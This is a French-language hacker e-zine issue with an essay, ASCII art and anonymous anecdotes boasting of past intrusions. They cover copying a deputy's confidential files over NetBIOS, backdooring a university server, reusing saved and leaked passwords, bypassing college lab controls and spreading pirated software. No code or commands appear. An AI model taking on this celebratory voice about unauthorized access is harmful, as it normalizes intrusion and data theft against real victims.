France n'a gure  digrer   leurs  nombreuses  dfaites,  et faute d'essayer de
gagner, car  ils   croient  que  gagner   ce n'est pas  pour eut, ils  essaient
tant   bien   que  mal   d'apprivoiser   leurs  dfaites  antrieures,  et  les
dfaites  rcentes.  Et de  ce  fait, perdre est  donc pour eux;  la   dfaite,
ils  vont  finir   par  l'aimer. Sans   pour  autant  l'apprivoiser.    Ne  pas
gagner deviendra  une normalit,  et personnes  ne pourra   les  mpriser.  Les
pays  les  plus gagnant,  perdre  n'est   pas  une   norme,   alors que  gagner
l'est. Leurs  habitants  n'ont  aucunes   raisons  de  se  laisser tanner   par
d'autres,  et  il  associeront  leurs   victoire  la cause  de   leurs  rages.
Ils  ont subit  un  lavage de cerveau  l'cole  dans  leur  cours  d'histoire;
gagner, c'est ce que  le pays   t capable, c'est donc  se  que  vous   serai
capable  de faire.  Par   consquent,   les   perdants   ne    sont   nullement
accepter,  et les  gagnants,  tricheurs   ou non,   seront  placs sur  la plus
haute  marche  du  podium.   Les  2  groupes  auront beau essayer de   s'aimer,
ils  ne   russiront  point.   Alors on  fera  appel     une   forme  d'humour
nouvelle  pour   dire ce  que l'on   pense  rellement.   Alors  que  mme,  ce
qui  est le  plus dommage,  personne    de   n'autre   socit    nouvelle  n'a
aider  directement   aux   victoires    anciennes.    C'est    ce    que    les
perdants  continus  d'essayer de  prouver,   et  c'est  ce que les  gagnants ne
veulent pas comprendre ...

                                                           c4ndu.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                 c4ndu@mindkind.org                      /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





     Un autre dicton Mindkind :
     " Fumer peut causer avec le cendrier et vous faire crire dla philo "

     ___ __
     \  __ \ __ __         
      \/     _    \       
      |_____|_|____|               
      /            \                                 
     '  ( o ) ( o ) '                                  
     |              |                     
    ,'        \     |               
   (           \    '           
    '.        __)   |       )  ))()
     |              .      )(( ) )((
     |       .<>________  (() )) )(
     '       `<>--------' (())
      \            /            
       \ _     __ /     |___|     
        ___|  |_____    |   |    
       /\           \   |  (_| 
      :  \/         ,' |_)(__|  
      |  |         |/ \ |__(_|   
      '  |         :\  \/  .' 
      :  |         | '    /
      |  |         |  \__/
      '  ' ___ _ _.'   
       \ /         |        
       |/          |           
       |      +    '                         
       |      '    |                          
       |      |    :         
       '      |    |     
       |      |    /      
        '----' '--'__    
        /    \ /     |    
        '----' '-----'     ascii by c4ndu





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.18  Mindkind Hack Reader's Digest                   \        \     !
     .             aka                                         \        \    .
     ;             .hack_hi story                               \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                    


On a dcid  de se la  jouer  la  harlequin et de  vous proposer des  lectures
"easy" qui portent  sur des sujets  qui vous intressent  ( part le  sexe la).
Donc on tient  dire que tout ici  est anonyme, et pis on garanti mme pas  que
c'est vrai, c'est juste des histoires,  c'est de la fiction, a existe  pas les
ordinateurs, va te coucher Jean-Paul y minuit et quart.

+------------------------------------------------------------------------------+

- Des putes et des secrtaires

J'tais jeune, genre en secondaire 3 ou  4. Je scannais pour du Netbios sur  le
range de Vidotron (ne pas confondre  avec Vidotron). Et la j'ai fini  par en
pogner  un. Un  moment donn,  je me  suis rendu  compte que  j'avais pogn  la
secrtaire d'un dput, du cube qubcois  (ne pas confondre avec le BQ).  Elle
avait tous les documents du dput,  c'est elle qui les tapaient. Y'avait  tout
plein de renseignement  confidentiel, les comptes  de dpenses, des  projets de
transports en commun par aroglisseur  haha. J'ai download le rpertoire,  pis
j'ai rit pendant des  heures. The Gazette faisait  des recours en justice  pour
avoir accs aux comptes de dpense des dputs, moi j'en avais un dans face! Le
pire la, y'ont perdu en cours :)

+------------------------------------------------------------------------------+

- Mission Take Back

On avait pogn  un accs sur  une machine dans  une universit aux  USB (ne pas
confondre avec les  USA). On tait  vedge et on  en avait juste  de besoin pour
runner  quelques affaires,  donc on  a pas  prit la  peine de  backdoorer. Par
contre, un jour, l'admin  root c'est rendu compte  que son CPU tait  utilis 
100% pas mal souvent et a check sa machine.. et trouv John the Rapper (ne pas
confondre avec John the Ripper) dans  un directory. Y'a donc email la  machine
duquel le user c'tait logg pour avertir  le root que un de ses users  s'tait
connect sur son serveur pour runner  de quoi de louche. Heureusement on  avait
le root sur l'autre machine  et on a pogn le  email. Aprs lavoir effac on  a
essayer  de  se logger  sur  l'universit, mais  l'account  tait disabled.  La
machine tait patch contre l'exploit remote (ah le bon vieux red hat 5.1),  et
le seul moyen  qui nous restait  c'est d'tre en  local. On a  presque give up,
alors qu'un jour je regardais le finger port, et j'ai vu quelques users  logg.
J'ai faite : hum tout d'un coup que j'ai de la chance pis que ya un gars qui  a
sa machine  de open  avec son  password sur  la box!  Alors, j'ai  check, sans
succs. Y'avait juste du monde de logg de machines interne  l'universit,  et
c'tait du WinNT (robuste dans le  temps de NT4) pas open. Pourtant  c'tait le
soir trs tard. Je me suis alors rappel que la box tait sur la cte ouest, et
que la bas ils sont en avance  de quelque heure. Donc mon soir trs  tard tait
en faite  leur avant  midi.. J'ai  donc essay  dans la  journe l'aprs midi..
bingo, il y  avait du monde  de logg de  leur maison. J'ai  regard... asteure
fallait que j'aille encore plus de  chance, et qu'un d'eux soit ouvert  avec le
pass  quelque part.. J'en ai regarder une couple (ah le bon vieux Netbios,  a
marche  mieux qu'un  singe a),  et j'ai  fini par  trouver un  gars qui  avait
SecureCRT ou  HyperTerminal (jme  rappelle pu  lequel) et  qui avait  saver son
pass. Sautant de joie, j'ai pris en note le pass, j'y suis retourn plus  tard.
J'ai re-root la machine  pis j'ai enfin backdoorer  a comme du monde.  Fin de
l'histoire, la box ma dur un bon 2 ans aprs a (on a fini par arrter de tout
le temps l'utiliser pour cracker.. heh).


+------------------------------------------------------------------------------+

- Cgep Gaming

Bon toute les gars du Cgep vont me reconnatre aprs a, mais c'est pas  grave
c'tait avec a qu'on c'est marr pendant 3 ans de temps.. hehe

Au Cgep nous on avait un trip : le prohibited gaming. Un peu comme prendre dla
drogue alors que c'est illgal, le gaming dans les locaux alors qu'on avait pas
le droit tait rendu une vrai  drogue (dj que le gaming lui-mme  c'est assez
intense). On se ramassait tout le temps  une gagne de 4  16 personnes  pendant
nos temps libres (entre les cours, pendant les cours qu'on aillait pas, et  des
mga rumbles  le vendredi  soir). On  avait mme  un nom  de team qui avait les
mmes  abrviations  que  notre association  tudiante.  J'avoue  qu'une grande
partie du trip ft les games de Starcraft  8 pis de Rainbow Six  12 000.  Les
responsables au Cgep le  savaient trs bien qu'on  semait la terreur dans  les
locaux sur  l'heure du  midi, ils avaient mme crit  la bibliothque sur  les
crans "LE JEU EST INTERDIT".

M'enfin le fun "technique" qu'on avait avec a, c'tait les parties de run  and
hide avec les techniciens de la  place. Bien sur y'avait plus que  les stickers
"JEU INTERDIT", les techniciens devaient  passer tout leur temps   trouver des
nouveaux programmes de blockage. Le reste du temps il ghostait les machines qui
avaient des jeux dessus. Un jour il  se sont mme dcids  dcrisser tous  les
CDROM sur 3 tages et  visser les machines avec des barres de mtal, faut dire
que le cgep  tait le main  supplier de stock  vol d'ordi de Montral j'pense
(haha). M'enfin l on  tait pogn avec une  triste ralit : pu  de CDROM pour
pouvoir jouer. Les  seuls CDROM qui  restaient tait dans  un local au  160ime
tage qui tait  occup du matin  au soir.. quoi  faire? J'me rappelle  un jour
quelqu'un avait emmen Starcraft sur disquette, genre 46 ou 47 disk. Le  disque
24 tait corrompu.  Crap. Alors on  dcida de se  la jouer WAREZ.  On pogna une
version warez  de notre  jeu qu'on  voulait, et  on allait  au 160ime tage le
loader sur les machines pour  ensuite le transfrer. Par contre  c'tait chiant
on tait obliger de monter en haut  chaque fois qu'on voulait jouer, on aurait
pu se faire crditer un cours d'ducation physique avec a je pense. M'enfin un
jour on a eu Internet plus rapide, alors on avait pu besoin d'aller au  160ime
downloader nos CD, on pouvait downloader a direct d'une dump sur le net... par
contre a allait pas  assez vite pareil. On  a commenc a spotter  des machines
btardes  dans des  locaux normaux,  et on  a faite  des backups.  Y'avait des
backups de nos jeux partout, dans  au moins 5-6 endroits stratgiques. Ds  que
le technicien ghostait nos  locaux de jeu (faut  dire que nos prfrs  taient
ceux en administration avec les machines les plus ressentes, ah pis yavait mme
un lab qui avait des cartes 3d..  heheh) nous on revenait avec nos backups  qui
tait sur  un FTP  a quelque  part dans  l'cole...   1meg/seconde (LAN speed)
c'tait plutt rapide (et  peu forant a faire).  Mais la un jour  on est tomb
sur de quoi de WEIRD, "ne peut copier le exe"...

Les techniciens c'tait dcids   nous mettre des pseudo-protections. Bon  ok,
en ralit, on  avait dj Fortress  (un programme plutt  cheap), mais y'tait
tellement simple   bypasser  du genre  tu pse  sur CTRL-ALT-DEL  avant que la
machine soit totalement boote pis tu la kill. Y'a eu aussi le fait qui pouvait
nous retracer avec nos accounts Novell, donc on s'est mit  pogner des accounts
qui tranaient dans les bac   rcupration. Mais l, "ne peut copier  le exe",
c'tait  weird.. y'avait  aucun programme  qui roulait,  mais on  a  finit  par
trouver un programme de contrle  quelque part dans Program Files, mais aucuns
signes de  o est-ce  que a  roule cette  merde l...  alors j'ai  cherch sur
Internet. Pis j'ai trouv  a : The blabla software installs itself as a VXD...
un VXD putain d'criss. Faut dire qu'on avait des machines Win95 (pouha, mais a
allait bien pour gamer.. hehe), le VXD c'tait vraiment l'ultime shit. On avait
le truc pour pouvoir diter la  base de registre (fallait juste runner  le prog
d'edit rights win9x dans le  rpertoire de l'installation de win95..  qui tait
mapp sur  un drive  rseau... haha),  donc j'ai  pu aller  voir quelle merde y
loadait. Aprs un peu de recherche, j'ai trouv le fameux CACA.vxd, j'ai delet
la ligne, reboot, et rien. Y'tait  revenu le sale. J'ai dcider de  booter en
dos pour voir (avec un boot disk, le safe mode and shit tait scrap), pis je me
suis rendu compte  que yavait un  beau rpertoire ultra-cach  (avec le VXD  me
semble) qui contenait un backup de  la base de registre and stuff.  J'ai diter
le .bat qui runnait  a (REM REM REM!!!)  pis j'ai reboot, dit  le registre,
reboot, succs. Aprs a c'tait plutt fastoche de faire un ti batch file pis
un .reg qui edit tout  notre place.. et voila on avait la clef de la rapidit.
On a pu jouer encore plus, toute en continuant de faire dla crap ailleurs  dans
le Cgep (je crois que les techs  on finit par lcher prise, y faisaient  juste
ghoster  la  fin) parce que  juste jouer facilement  tait rendu un  peu moins
lfun  pour  moi.  Et c'est  ainsi  que  3-4 personnes  pochrent  leurs  DEC en
informatique  cause du gaming. Aujourd'hui on s'est recycls en autre chose de
plus officiel, mais on continue de jouer, mais moi jsuis pas un gamer (ah).

Bon fak c'tait a  l'histoire, c'tait plutt cheapo  comme hack mais le  fun,
peut-tre que a va inspirer la gnration future... malgr que  WinXPEE  c'est
plus facile  owner, mme pas besoin d'tre assit devant l'ordi! hehe


+------------------------------------------------------------------------------+


- La curiosit est une vilaine qualit

Dans le temps j'tais dans une crew de divx pis de warez, c'tait au dbut  des
FTP pubs fak  on scannait pour  pouvoir FXP notre  stock dessus. Un  jour je me
suis mis  trouver des FTP  qu'on avait accs  plusieurs rpertoires.  C'tait
des sites qui taient  points via le web  et via compltement un  autre ip (ou
nom de domaine). J'me suis pas cass  la tte j'ai upload du warez dessus  pis
on avait une dump HTTP qui tait  impossible de trouver par quel FTP y  fallait
uploader, plutt neat.  Un jour je  suis tomber sur  de quoi de louche, y'avait
pleins de rpertoires, et dans un rpertoire en particulier des fichiers Excell
et Access.  J'ai download  les files,  puis j'ai  trouv dans  les fichiers de
database, que yavait des user/pass.  Malheureusement y'avait aucun ip, juste le
nom de la machine "mail1.stupidnet" genre. J'ai mis a de cot et j'ai continu
mon scan de FTP. La journe d'aprs j'tais encore dans le mme coin (genre  le
FTP tait sur 64.4.4.4 et je scannais  sur 64.6.*) pis l j'ai pogn un  FTP en
Windows qui ma sorti un connect  string avec genre : ftp1.stupidnet Je  me suis
rappel mon mail1.stupidnet, et j'ai cri BINGO! Aprs a j'ai essay  le  host
complet genre mail1.levrainet.com et j'ai vu  qui avait le port ssh de  ouvert,
j'ai essay des user/pass, et a  l'a march. Avec cette porte d'ouverte,  j'ai
pu owner leur rseau Linux (serveurs) et Windows (stations). C'tait le  rseau
de 2 gars qui avaient une compagnie qui faisait de la scurit  informatique...
genre snort tait installer sur certaines machines, mais bon, j'ai mme pas  eu
besoin de scanner ou  d'essayer rien d'autre que  d'entrer un user/pass en  ssh
pour pouvoir avoir accs local. Fin de l'histoire.


+------------------------------------------------------------------------------+


Bon voil c'tait nos  histoires. Faites-nous signe si  vous avez aims a,  si
vous voulez  sender vos  histoires on  va les  mcher /  hacher /  reformuler /
digrer / recontextualiser  / ridiculiser /  ultraordinariser pour vous  et les
publier dans le prochain  Hack Reader Digest. Par  contre il est a  noter qu'on
prends juste des "hack" vieux de 2 ans, pis qu'on tient compte que mme si  les
hack sont ralistes, ils peuvent tre  faux, on s'en fiche, on avoue  rien ici,
on ne fait que raconter des histoires pour divertir...

Et c'est sign : anoymousses.


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                mindkind@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




Mindkind prsente : "Story that didnt makes it for Hack Reader's Digest"
                    aka "On aurait pas du dire Harlequin dans l'intro"

Tout c'est pass l't dernier alors que j'tais en vacances chez ma tante.  Il
fesait beau  et le  soleil plombait  a 50  degrs celcius  - presque assez pour
vaporiser l'eau que  contenait la magnifique  piscine devant moi.  L'aprs-midi
battait son plein quand je l'ai aperu  pour la premire fois elle tait l,  a
se  dorer au  soleil ces  jolies courbes  me rappelaient  celles  d'une  sirne
remonte du plus  profond de la  mer. Elle avait  une couleur parfaite  et elle
semblait si puissante mais si coquine,   la fois douce et trs  jolie, presque
parfaite.  Tatoue   de  trois   lettres  sur   les  hanches,   je  ne  pouvais
malheureusement  pas les  lire car  j'tais trop  loin. Puis,  en  prenant  mon
courage je me suis lev, tranquillement en utilisant une dmarche sre mais pas
inquisitoire. Plus  je m'approchais,  plus je  la voyais  et plus  je l'aimais.
J'avais envie de la dlivrer de cette chaleur torride Je m'assied  cot d'elle
et avec  quelques mouvements  brefs je  l'avais conquise.  Elle rpondait a mes
moindres gestes comme si je pouvais tre en symbiose avec elle. J'ai longuement
jou  avec elle  jusqu' la  tombe de  la nuit,  l'heure o  j'ai  d  quitter
l'endroit. Encore aujourd'hui je me demande qui avait laiss traner un serveur
Athlon MP sur le bord d'une piscine a 50C. Trs nigmatique...


                                                                          
                +------------------+                                      
                |  Flicitations   |                                      
                |  vous avez lu    |                                      
                |  le e-zine au    |                                      
                |  complet. Vous   |                                      
                |  tes maintenant |                                      
                |   la            |                                      
                |          FIN.    |    
                +--------<>--------+                                      
 //                      ||                                               
   //                    ||                                               
     //                  ||                                               
       //                ||                                               
         //              ||                                               
           //            ||                                               
             //          ||                 +----------------+            
#              //        ||                 |  Flicitations |            
###              //      ||                 |  vous avez     |            
  ###              //   ,||,                |  atteint les   |            
                     //                     |  limites       |            
                       /i                   |  inexplores   |            
         ###             /n                 |  de ce fichier |            
           ###             /i               +-------<>-------+            
/            ###             /t                     ||                    
 //                            /_                   ||                    
   //                            /n                 ||                    
     //                            /u               ||                    
       //            ###             /l             ||                    
         //            ###             /l           ||                    
           //            ###             //         ||                    
             //                            //       ||      +-----------+ 
               //                            //    ,||,     | Prochain  | 
                 //             E              01           | Segment:  | 
                   //             O              00         | 0x32323432| 
                     //             F              10       +-----<>----+ 
                       //                            11           ||      
                         //                            11         ||      
                           01            1               00       ||      
                             00            1               00    ,||,     
                               00            0               10           
On vous a encore fait le coup    11                            10         
de l'exploitation d'un event  des 01                            10       
fins commerciales. N'y prenez pas    00             1                     
habitude, en effet n'allez pas croire  11             1                   
qu'on va vous crire  la St-Valentin    10              1                
pour vous dire qu'on vous aime.            10                             
                                 







